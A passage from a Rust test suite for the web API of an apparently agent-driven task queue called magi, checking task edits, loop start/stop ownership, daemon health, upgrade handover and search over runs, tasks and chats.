9642            .await;
9643        assert_eq!(res.status, 400, "{}", res.body);
9644        assert!(
9645            res.json()["error"]
9646                .as_str()
9647                .is_some_and(|e| e.contains("running")),
9648            "{}",
9649            res.body
9650        );
9651        assert_eq!(
9652            queue.get(&task.id).expect("reload").instruction,
9653            "do not touch",
9654            "the refused edit must not change the file"
9655        );
9656    }
9657
9658    #[tokio::test]
9659    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9660        let f = Fixture::start().await;
9661        let queue = f.queue();
9662        let mut task = Task::new(
9663            "busy".to_owned(),
9664            "Running right now".to_owned(),
9665            PathBuf::from("/repo/magi"),
9666            Source::Human,
9667        );
9668        queue.put(&mut task).expect("file the task");
9669        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9670
9671        let priority = f
9672            .post(
9673                &format!("/api/queue/{}/priority", task.id),
9674                Some(r#"{"priority":9}"#),
9675            )
9676            .await;
9677        assert_eq!(priority.status, 409, "{}", priority.body);
9678
9679        let edit = f
9680            .post(
9681                &format!("/api/queue/{}/edit", task.id),
9682                Some(r#"{"title":"x","instruction":"y"}"#),
9683            )
9684            .await;
9685        assert_eq!(edit.status, 409, "{}", edit.body);
9686    }
9687
9688    #[tokio::test]
9689    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9690        let f = Fixture::start().await;
9691        let queue = f.queue();
9692        let mut task = Task::new(
9693            "shipped by hand".to_owned(),
9694            "merged outside the loop".to_owned(),
9695            PathBuf::from("/repo/magi"),
9696            Source::Agent {
9697                run: "20260101-000000-b455".to_owned(),
9698                node: "implement".to_owned(),
9699            },
9700        );
9701        task.runs.push("20260101-000000-b455".to_owned());
9702        task.runs.push("20260101-000000-9af4".to_owned());
9703        queue.put(&mut task).expect("file the task");
9704        let created_at = task.created_at;
9705
9706        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9707        assert_eq!(done.status, 200, "{}", done.body);
9708        assert_eq!(done.json()["status_str"], "done");
9709
9710        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9711        assert_eq!(
9712            reloaded.runs,
9713            ["20260101-000000-b455", "20260101-000000-9af4"]
9714        );
9715        assert_eq!(
9716            reloaded.source,
9717            Source::Agent {
9718                run: "20260101-000000-b455".to_owned(),
9719                node: "implement".to_owned(),
9720            }
9721        );
9722        assert_eq!(reloaded.created_at, created_at);
9723    }
9724
9725    #[tokio::test]
9726    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9727        // `done` is allowed on any status, including `held`, with no release
9728        // in between - so a task held for a reason and then closed directly
9729        // must not keep reading as "waiting on" it afterwards, on its card or
9730        // in `magi task show`.
9731        let f = Fixture::start().await;
9732        let queue = f.queue();
9733        let mut task = Task::new(
9734            "landed while held".to_owned(),
9735            "x".to_owned(),
9736            PathBuf::from("/repo/magi"),
9737            Source::Human,
9738        );
9739        task.hold_manual(Some("waiting on 3ed9".to_owned()));
9740        queue.put(&mut task).expect("file the held task");
9741
9742        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9743        assert_eq!(done.status, 200, "{}", done.body);
9744        assert_eq!(done.json()["status_str"], "done");
9745        assert!(
9746            done.json()["hold_reason"].is_null(),
9747            "a done task cannot still be waiting on something: {}",
9748            done.body
9749        );
9750    }
9751
9752    #[tokio::test]
9753    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9754        // `queue_done` is the phone's way to close a task the loop never
9755        // settled itself - after confirming a manual GitHub merge, say - and
9756        // that is just as much "this task's story is over" as the loop's own
9757        // `Merged`/`Ready` path, so it must trigger the same cleanup.
9758        let f = Fixture::start().await;
9759        let queue = f.queue();
9760        let runs = f.runs();
9761        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9762        // The last attempt has to have actually landed for the earlier one
9763        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
9764        // for the case where it didn't.
9765        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9766
9767        let mut task = Task::new(
9768            "landed by hand".to_owned(),
9769            "x".to_owned(),
9770            PathBuf::from("/repo/magi"),
9771            Source::Human,
9772        );
9773        task.runs.push("20260101-000000-doa1".to_owned());
9774        task.runs.push("20260101-000000-doa2".to_owned());
9775        queue.put(&mut task).expect("file the task");
9776
9777        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9778        assert_eq!(done.status, 200, "{}", done.body);
9779
9780        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9781            .expect("run still on disk under this fixture's own home");
9782        assert_eq!(
9783            reloaded_run.status,
9784            RunStatus::Superseded,
9785            "closing the task by hand must relabel the earlier blocked attempt exactly \
9786             like the loop's own settle path does"
9787        );
9788    }
9789
9790    #[tokio::test]
9791    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9792        // Closing a task by hand is allowed from any status, including one
9793        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
9794        // manual merge the loop never watched, say. Nothing here is provably
9795        // why the task is done, so nothing earlier gets relabelled either.
9796        let f = Fixture::start().await;
9797        let queue = f.queue();
9798        let runs = f.runs();
9799        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9800        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9801
9802        let mut task = Task::new(
9803            "closed with nothing actually landed".to_owned(),
9804            "x".to_owned(),
9805            PathBuf::from("/repo/magi"),
9806            Source::Human,
9807        );
9808        task.runs.push("20260101-000000-dob1".to_owned());
9809        task.runs.push("20260101-000000-dob2".to_owned());
9810        queue.put(&mut task).expect("file the task");
9811
9812        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9813        assert_eq!(done.status, 200, "{}", done.body);
9814
9815        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9816            .expect("run still on disk under this fixture's own home");
9817        assert_eq!(
9818            reloaded_run.status,
9819            RunStatus::Blocked,
9820            "the last recorded attempt never landed, so the earlier one must not be \
9821             relabelled as superseded by it"
9822        );
9823    }
9824
9825    #[tokio::test]
9826    async fn unknown_ids_are_json_not_found_on_both_stores() {
9827        let f = Fixture::start().await;
9828
9829        let run = f.get("/api/runs/nosuchrun").await;
9830        let task = f.post("/api/queue/nosuchtask/hold", None).await;
9831
9832        assert_eq!(run.status, 404);
9833        assert_eq!(task.status, 404);
9834        assert!(
9835            run.json()["error"]
9836                .as_str()
9837                .is_some_and(|e| e.contains("run")),
9838            "the error names what was not found: {}",
9839            run.body
9840        );
9841        assert!(
9842            task.json()["error"]
9843                .as_str()
9844                .is_some_and(|e| e.contains("task")),
9845            "the error names what was not found: {}",
9846            task.body
9847        );
9848    }
9849
9850    #[tokio::test]
9851    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9852        let f = Fixture::start().await;
9853
9854        let missing = f.get("/api/health").await.json();
9855        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9856
9857        write_daemon(
9858            f.home.path(),
9859            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9860        );
9861        let stale = f.get("/api/health").await.json();
9862        assert_eq!(
9863            stale["daemon"]["running"], false,
9864            "a minute without a heartbeat is a dead daemon, not a busy one"
9865        );
9866        assert!(
9867            stale["daemon"]["stale_for_secs"]
9868                .as_i64()
9869                .is_some_and(|s| s >= 55),
9870            "staleness is reported so the UI can say how long: {stale}"
9871        );
9872
9873        write_daemon(f.home.path(), Timestamp::now());
9874        let fresh = f.get("/api/health").await.json();
9875        assert_eq!(fresh["daemon"]["running"], true);
9876        assert_eq!(fresh["daemon"]["idle"], false);
9877        assert_eq!(fresh["daemon"]["pid"], 4242);
9878        assert_eq!(fresh["daemon"]["completed"], 7);
9879        assert_eq!(
9880            fresh["daemon"]["current"][0]["task"],
9881            "20260902-140501-aaaa"
9882        );
9883        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9884    }
9885
9886    #[tokio::test]
9887    async fn the_loop_is_not_running_until_something_starts_it() {
9888        let f = Fixture::start().await;
9889
9890        let view = f.get("/api/loop").await.json();
9891        assert_eq!(view["running"], false);
9892        assert_eq!(
9893            view["owned"], false,
9894            "nobody owns a loop that does not exist: {view}"
9895        );
9896        assert_eq!(view["stopping"], false);
9897        assert_eq!(view["last_error"], Value::Null);
9898        assert_eq!(view["daemon"]["running"], false);
9899        assert_eq!(
9900            view["repo"], "/repo/magi",
9901            "the repository a start would use, named before it is started"
9902        );
9903    }
9904
9905    #[tokio::test]
9906    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9907        let f = Fixture::start().await;
9908
9909        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9910        assert_eq!(res.status, 200, "{}", res.body);
9911        let view = res.json();
9912        assert_eq!(view["running"], true);
9913        assert_eq!(
9914            view["owned"], true,
9915            "the loop the UI started is the UI's own to stop: {view}"
9916        );
9917        assert_eq!(
9918            view["merge"],
9919            Value::Null,
9920            "no override was given, so each repository's own config decides"
9921        );
9922
9923        // The same object from the route a waking phone polls first. Two
9924        // surfaces disagreeing about whether anything is running is exactly
9925        // the confusion this UI exists to remove.
9926        let health = f.get("/api/health").await.json();
9927        assert_eq!(health["loop"]["running"], true, "{health}");
9928        assert_eq!(health["loop"]["owned"], true, "{health}");
9929
9930        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9931    }
9932
9933    #[tokio::test]
9934    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9935        let f = Fixture::start().await;
9936        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9937        assert_eq!(first.status, 200, "{}", first.body);
9938
9939        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9940        assert_eq!(
9941            again.status, 409,
9942            "two loops on one queue race for the same claims: {}",
9943            again.body
9944        );
9945        assert!(
9946            again.json()["error"]
9947                .as_str()
9948                .is_some_and(|e| e.contains("already running the loop")),
9949            "the refusal has to say why: {}",
9950            again.body
9951        );
9952        assert_eq!(
9953            f.get("/api/loop").await.json()["running"],
9954            true,
9955            "and the loop that was already running is untouched by it"
9956        );
9957
9958        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9959    }
9960
9961    #[tokio::test]
9962    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9963        let f = Fixture::start().await;
9964        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9965
9966        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9967        assert_eq!(
9968            res.status, 200,
9969            "the answer must not wait for the loop: a run in flight is tens of \
9970             minutes and the operator is holding a phone: {}",
9971            res.body
9972        );
9973
9974        let view = settled(&f, |v| v["running"] == false).await;
9975        assert_eq!(view["owned"], false);
9976        assert_eq!(
9977            view["stopping"], false,
9978            "a loop that has stopped is not still stopping: {view}"
9979        );
9980        assert_eq!(
9981            view["last_error"],
9982            Value::Null,
9983            "a loop that was asked to stop did not fail: {view}"
9984        );
9985
9986        // Idempotent, because the operator cannot tell a slow stop from a lost
9987        // one and will press it again.
9988        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9989        assert_eq!(twice.status, 200, "{}", twice.body);
9990    }
9991
9992    #[tokio::test]
9993    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9994        let f = Fixture::start().await;
9995        // How the operator has been doing it: a `magi serve` of their own,
9996        // heartbeat fresh, in the same home this UI reads.
9997        write_daemon(f.home.path(), Timestamp::now());
9998
9999        let view = f.get("/api/loop").await.json();
10000        assert_eq!(view["running"], false, "not in this process: {view}");
10001        assert_eq!(view["owned"], false, "and not this process's to control");
10002        assert_eq!(
10003            view["daemon"]["running"], true,
10004            "but a loop is alive somewhere, which is what the UI must say"
10005        );
10006        assert_eq!(view["daemon"]["pid"], 4242);
10007
10008        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10009            let res = f.post("/api/loop", Some(body)).await;
10010            assert_eq!(
10011                res.status, 409,
10012                "neither button may pretend to work on someone else's loop: {}",
10013                res.body
10014            );
10015            assert!(
10016                res.json()["error"]
10017                    .as_str()
10018                    .is_some_and(|e| e.contains("4242")),
10019                "the refusal has to name the process the operator must go to: {}",
10020                res.body
10021            );
10022        }
10023        assert_eq!(
10024            f.get("/api/loop").await.json()["running"],
10025            false,
10026            "and the refusal started nothing"
10027        );
10028    }
10029
10030    #[tokio::test]
10031    async fn a_stale_status_file_is_not_a_foreign_owner() {
10032        let f = Fixture::start().await;
10033        write_daemon(
10034            f.home.path(),
10035            Timestamp::now() - jiff::SignedDuration::from_secs(60),
10036        );
10037
10038        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10039        assert_eq!(
10040            res.status, 200,
10041            "a daemon killed a minute ago must not lock the loop out of its \
10042             own home for good: {}",
10043            res.body
10044        );
10045        assert_eq!(res.json()["running"], true);
10046
10047        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10048    }
10049
10050    #[tokio::test]
10051    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10052        let f = Fixture::start().await;
10053        let before = f.get("/api/health").await.json()["loop_rev"]
10054            .as_u64()
10055            .expect("a loop revision");
10056
10057        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10058
10059        let after = f.get("/api/health").await.json()["loop_rev"]
10060            .as_u64()
10061            .expect("a loop revision");
10062        assert!(
10063            after > before,
10064            "the loop is in-process state, so this counter is the only thing \
10065             that tells a second device the first one started it: {before} -> \
10066             {after}"
10067        );
10068
10069        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10070    }
10071
10072    #[tokio::test]
10073    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10074        let f = Fixture::with_loop(launch_broken).await;
10075
10076        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10077        assert_eq!(
10078            res.status, 200,
10079            "starting it is not the failure: {}",
10080            res.body
10081        );
10082
10083        let view = settled(&f, |v| v["last_error"].is_string()).await;
10084        assert_eq!(
10085            view["running"], false,
10086            "a loop that died must not read as running, or the operator has \
10087             nothing to press: {view}"
10088        );
10089        assert_eq!(view["owned"], false);
10090        assert!(
10091            view["last_error"]
10092                .as_str()
10093                .is_some_and(|e| e.contains("read-only file system")),
10094            "the phone is where a loop that died at 3am is visible: {view}"
10095        );
10096
10097        // And it can be started again: the corpse was reaped, not left to
10098        // occupy the slot.
10099        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10100        assert_eq!(again.status, 200, "{}", again.body);
10101        assert_eq!(
10102            again.json()["last_error"],
10103            Value::Null,
10104            "a fresh start does not keep showing why the last one died"
10105        );
10106    }
10107
10108    /// An upgrade parks the run in flight before it restarts, and a park waits
10109    /// for the node - up to `timeout_implement`, an hour by default. The deck
10110    /// has to answer for all of it: the operator has just been told a run is
10111    /// finishing first, and this address is the only place that says how it is
10112    /// going. It did not, once - the listener went with the `select!` arm that
10113    /// began the handover, and the phone got `Cannot reach magi: Failed to
10114    /// fetch` for the rest of the wave.
10115    ///
10116    /// The other half is the older rule: the address must be free *before* the
10117    /// successor is started, or it dies on "address already in use" with its
10118    /// stdio sent to null and the deck never comes back.
10119    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10120    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10121        let home = TempDir::new().expect("temp home");
10122        let runs = home.path().join("runs");
10123        std::fs::create_dir_all(&runs).expect("runs dir");
10124        let ui = Ui::new(
10125            Queue::at(home.path().join("queue")),
10126            Questions::at(home.path().join("questions")),
10127            Talks::at(home.path().join("talks")),
10128            runs,
10129            home.path().to_path_buf(),
10130            PathBuf::from("/repo/magi"),
10131        )
10132        .with_worktrees_root(home.path().join("wt"))
10133        .with_launch(launch_knocking_on_the_way_out);
10134        let looping = ui.looping();
10135        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10136            .await
10137            .expect("bind loopback");
10138        let addr = listener.local_addr().expect("local addr");
10139        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10140        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10141
10142        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10143        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10144
10145        // The successor's whole job, and the one thing it cannot do while this
10146        // process still holds the socket.
10147        //
10148        // One bind is not enough, and the reason is not this process's order of
10149        // operations: aborting the accept loop drops the listener, but axum
10150        // serves each accepted connection on a task of its own, and those are
10151        // not aborted. The requests above left sockets on this very address,
10152        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
10153        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
10154        // Production absorbs that in `bind_waiting`; so does this. Only
10155        // `AddrInUse` is retried, and the listener is released before the
10156        // closure returns - were the order wrong, the listener would outlive
10157        // the closure and every attempt would fail. Inferred from the bind
10158        // rules and the code; not reproduced on macOS.
10159        let bound = std::sync::Mutex::new(None);
10160        hand_over(home.path(), &looping, served, |_| {
10161            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10162            let attempt = loop {
10163                match std::net::TcpListener::bind(addr) {
10164                    Ok(l) => {
10165                        drop(l);
10166                        break Ok(());
10167                    }
10168                    Err(e)
10169                        if e.kind() == std::io::ErrorKind::AddrInUse
10170                            && std::time::Instant::now() < deadline =>
10171                    {
10172                        std::thread::sleep(std::time::Duration::from_millis(10));
10173                    }
10174                    Err(e) => break Err(e.to_string()),
10175                }
10176            };
10177            *bound.lock().expect("bound") = Some(attempt);
10178            Ok(1)
10179        })
10180        .await
10181        .expect("hand over");
10182
10183        assert_eq!(
10184            *PARK_HEARD.lock().expect("park heard"),
10185            Some(200),
10186            "the deck must answer while the loop is parking"
10187        );
10188        let attempt = bound
10189            .lock()
10190            .expect("bound")
10191            .take()
10192            .expect("the successor was started");
10193        assert!(
10194            attempt.is_ok(),
10195            "and the address must be free by the time it is: {attempt:?}"
10196        );
10197    }
10198
10199    #[tokio::test]
10200    async fn a_newer_daemon_status_file_still_renders() {
10201        let f = Fixture::start().await;
10202        // A field this build has never heard of must not turn the status line
10203        // into a 500; that is the whole reason the reader is permissive.
10204        std::fs::write(
10205            f.home.path().join("daemon.json"),
10206            serde_json::json!({
10207                "schema": 2,
10208                "updated_at": Timestamp::now().to_string(),
10209                "idle": true,
10210                "surprise": { "nested": [1, 2, 3] },
10211            })
10212            .to_string(),
10213        )
10214        .expect("write daemon.json");
10215
10216        let health = f.get("/api/health").await;
10217
10218        assert_eq!(health.status, 200);
10219        assert_eq!(health.json()["daemon"]["running"], true);
10220    }
10221
10222    #[tokio::test]
10223    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10224        let f = Fixture::start().await;
10225        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10226        let broken = f.runs().join("20260902-140502-bad");
10227        std::fs::create_dir_all(&broken).expect("run dir");
10228        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10229
10230        let list = f.get("/api/runs").await;
10231        let detail = f.get("/api/runs/20260902-140502-bad").await;
10232
10233        assert_eq!(list.status, 200);
10234        let listed = list.json();
10235        let ids: Vec<&str> = listed
10236            .as_array()
10237            .expect("an array")
10238            .iter()
10239            .map(|r| r["id"].as_str().expect("an id"))
10240            .collect();
10241        assert_eq!(
10242            ids,
10243            vec!["20260902-140501-good"],
10244            "one unreadable run must not cost the operator the whole history"
10245        );
10246        assert_eq!(detail.status, 500);
10247        assert!(
10248            detail.json()["error"]
10249                .as_str()
10250                .is_some_and(|e| e.contains("run.json")),
10251            "the failure names the file to look at: {}",
10252            detail.body
10253        );
10254        // A skipped run has to be countable somewhere, or the UI shows an
10255        // empty history with nothing to explain it - which is exactly what a
10256        // directory full of older-schema runs looks like.
10257        let health = f.get("/api/health").await;
10258        assert_eq!(health.json()["runs_unreadable"], 1);
10259    }
10260
10261    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
10262    #[tokio::test]
10263    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10264        let f = Fixture::start().await;
10265        let runs = f.runs();
10266        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10267        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10268        // Text three levels down, in a shape no current RunState has: an older
10269        // schema must still search.
10270        let path = runs.join("20260902-140502-bbbb").join("run.json");
10271        let mut v: serde_json::Value =
10272            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10273        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10274        std::fs::write(&path, v.to_string()).unwrap();
10275        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10276        std::fs::write(
10277            runs.join("20260902-140503-cccc").join("run.json"),
10278            "{ not json",
10279        )
10280        .unwrap();
10281
10282        let res = f.get("/api/search?scope=runs&q=quokka").await;
10283        assert_eq!(res.status, 200, "{}", res.body);
10284        let v = res.json();
10285        assert_eq!(v["total"], 1, "{v}");
10286        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10287        assert_eq!(v["hits"][0]["field"], "text");
10288        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10289        let parts = v["hits"][0]["snippet"].as_array().unwrap();
10290        assert!(
10291            parts
10292                .iter()
10293                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10294            "{v}"
10295        );
10296        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10297        assert_eq!(
10298            flat, "The Quokka leaks across threads",
10299            "whitespace is collapsed"
10300        );
10301
10302        // Terms are ANDed, across different fields, case-insensitively.
10303        let both = f
10304            .get("/api/search?scope=runs&q=MOBILE%20quokka")
10305            .await
10306            .json();
10307        assert_eq!(both["total"], 1, "{both}");
10308        let neither = f
10309            .get("/api/search?scope=runs&q=quokka%20zebra")
10310            .await
10311            .json();
10312        assert_eq!(neither["total"], 0, "{neither}");
10313        // Everything in the task statement is reachable, not only the row text.
10314        let stmt = f
10315            .get("/api/search?scope=runs&q=mobile%20first")
10316            .await
10317            .json();
10318        assert_eq!(stmt["total"], 2, "{stmt}");
10319        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10320        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10321    }
10322
10323    #[test]
10324    fn snippet_ignores_terms_longer_than_the_field() {
10325        let terms = ["ok".to_owned(), "elephant".to_owned()];
10326        let parts = snippet_of("ok", &terms);
10327        assert_eq!(
10328            parts,
10329            vec![SnippetPart {
10330                text: "ok".to_owned(),
10331                hit: true
10332            }]
10333        );
10334    }
10335
10336    #[test]
10337    fn snippet_marks_matches_longer_than_the_window() {
10338        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10339        let hit_len = |parts: &[SnippetPart]| -> usize {
10340            parts
10341                .iter()
10342                .filter(|p| p.hit)
10343                .map(|p| p.text.chars().count())
10344                .sum()
10345        };
10346        let total =
10347            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10348
10349        let long = "a".repeat(120);
10350        let parts = snippet_of(&long, std::slice::from_ref(&long));
10351        assert!(hit_len(&parts) > 0, "{parts:?}");
10352        assert!(total(&parts) <= cap);
10353
10354        let ja = "あ".repeat(130);
10355        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10356        assert!(hit_len(&parts) > 0, "{parts:?}");
10357        assert!(total(&parts) <= cap);
10358
10359        // A short hit, then one straddling the window's end.
10360        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10361        let term = format!("ab{}", "c".repeat(100));
10362        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10363        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10364        assert!(total(&parts) <= cap);
10365
10366        // Only the head matches: not highlighted.
10367        let text = format!("{}z", "a".repeat(119));
10368        let parts = snippet_of(&text, &["a".repeat(120)]);
10369        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10370    }
10371
10372    #[tokio::test]
10373    async fn search_caps_hits_and_snippet_length() {
10374        let f = Fixture::start().await;
10375        let runs = f.runs();
10376        for n in 0..(SEARCH_MAX_HITS + 5) {
10377            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10378        }
10379        let v = f.get("/api/search?scope=runs&q=web").await.json();
10380        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10381        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10382        assert_eq!(v["truncated"], true);
10383        // Every listed run hit carries its list row for the page's filters.
10384        assert!(
10385            v["hits"]
10386                .as_array()
10387                .unwrap()
10388                .iter()
10389                .all(|h| h["run"]["status"] == "merged")
10390        );
10391
10392        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10393        let parts = snippet_of(&long, &["needle".to_owned()]);
10394        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10395        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10396        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10397    }
10398
10399    #[tokio::test]
10400    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10401        let f = Fixture::start().await;
10402        let queue = f.queue();
10403        let mut t = Task::new(
10404            "short title".to_owned(),
10405            "line one\nthe hidden Armadillo detail".to_owned(),
10406            PathBuf::from("/repo/magi"),
10407            Source::Agent {
10408                run: "r1".to_owned(),
10409                node: "chat".to_owned(),
10410            },
10411        );
10412        t.last_error = Some("disk full on /tmp".to_owned());
10413        queue.put(&mut t).expect("file the task");
10414
10415        for (q, want) in [
10416            ("armadillo", 1),
10417            ("disk%20FULL", 1),
10418            ("chat", 1),
10419            ("queued", 1),
10420            ("short%20nothing", 0),
10421        ] {
10422            let v = f
10423                .get(&format!("/api/search?scope=tasks&q={q}"))
10424                .await
10425                .json();
10426            assert_eq!(v["total"], want, "{q}: {v}");
10427        }
10428        for bad in [
10429            "/api/search?scope=tasks&q=",
10430            "/api/search?scope=tasks&q=%20",
10431            "/api/search?scope=chats&q=",
10432            "/api/search?scope=chats&q=%20",
10433            "/api/search?scope=nope&q=a",
10434            "/api/search?q=a",
10435        ] {
10436            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10437        }
10438    }
10439
10440    /// Write one conversation file the way the store reads it back.
10441    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10442        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10443            .expect("seat value");
10444        let turns: Vec<serde_json::Value> = turns
10445            .iter()
10446            .map(|(who, body)| {
10447                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10448            })
10449            .collect();
10450        let doc = serde_json::json!({
10451            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10452            "status": status, "turns": turns,
10453            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10454            "seat": seat,
10455        });
10456        let dir = f.home.path().join("talks");
10457        std::fs::create_dir_all(&dir).expect("talks dir");
10458        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10459    }
10460
10461    #[tokio::test]
10462    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10463        let f = Fixture::start().await;
10464        write_talk(
10465            &f,
10466            "20260901-000001-aaaa",
10467            "open",
10468            &[
10469                (
10470                    "operator",
10471                    "\n  Why does the Pangolin cache expire?\nsecond line",
10472                ),
10473                ("agent", "Because the TTL is thirty seconds."),
10474            ],
10475        );
10476        write_talk(
10477            &f,
10478            "20260901-000002-bbbb",
10479            "closed",
10480            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10481        );
10482        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10483
10484        let search = |q: &'static str| {
10485            let f = &f;
10486            async move {
10487                f.get(&format!("/api/search?scope=chats&q={q}"))
10488                    .await
10489                    .json()
10490            }
10491        };
10492
10493        let v = search("PANGOLIN").await;
10494        assert_eq!(v["scope"], "chats");
10495        assert_eq!(v["total"], 1, "{v}");
10496        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10497        assert_eq!(v["hits"][0]["field"], "title");
10498        assert_eq!(v["unreadable"], 1, "{v}");
10499        let marked: Vec<&str> = v["hits"][0]["snippet"]
10500            .as_array()
10501            .unwrap()
10502            .iter()
10503            .filter(|p| p["hit"] == true)
10504            .map(|p| p["text"].as_str().unwrap())
10505            .collect();
10506        assert_eq!(marked, ["Pangolin"]);
10507
10508        // An agent turn, in a closed conversation.
10509        let v = search("zebra").await;
10510        assert_eq!(v["total"], 1, "{v}");
10511        assert_eq!(v["hits"][0]["field"], "agent");
10512        // Words may sit in different turns; all must be present.
10513        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10514        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10515        // Bookkeeping is not searched.
10516        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10517            assert_eq!(search(q).await["total"], 0, "{q}");
10518        }
10519        // The first line only is the title; the second line is still a turn.
10520        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10521        // Open conversations are listed before closed ones.
10522        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10523
10524        let v = f.get("/api/search?scope=nope&q=a").await;
10525        assert_eq!(v.status, 400);
10526        assert!(
10527            v.body.contains("scope must be runs, tasks or chats"),
10528            "{}",
10529            v.body
10530        );
10531    }
10532
10533    #[test]
10534    fn a_question_card_links_a_task_id_to_the_task_page() {
10535        let start = APP_JS
10536            .find("function updateAskCard(")
10537            .expect("updateAskCard exists");
10538        let body = &APP_JS[start..];
10539        let body = &body[..body.find("\n}\n").expect("function end")];
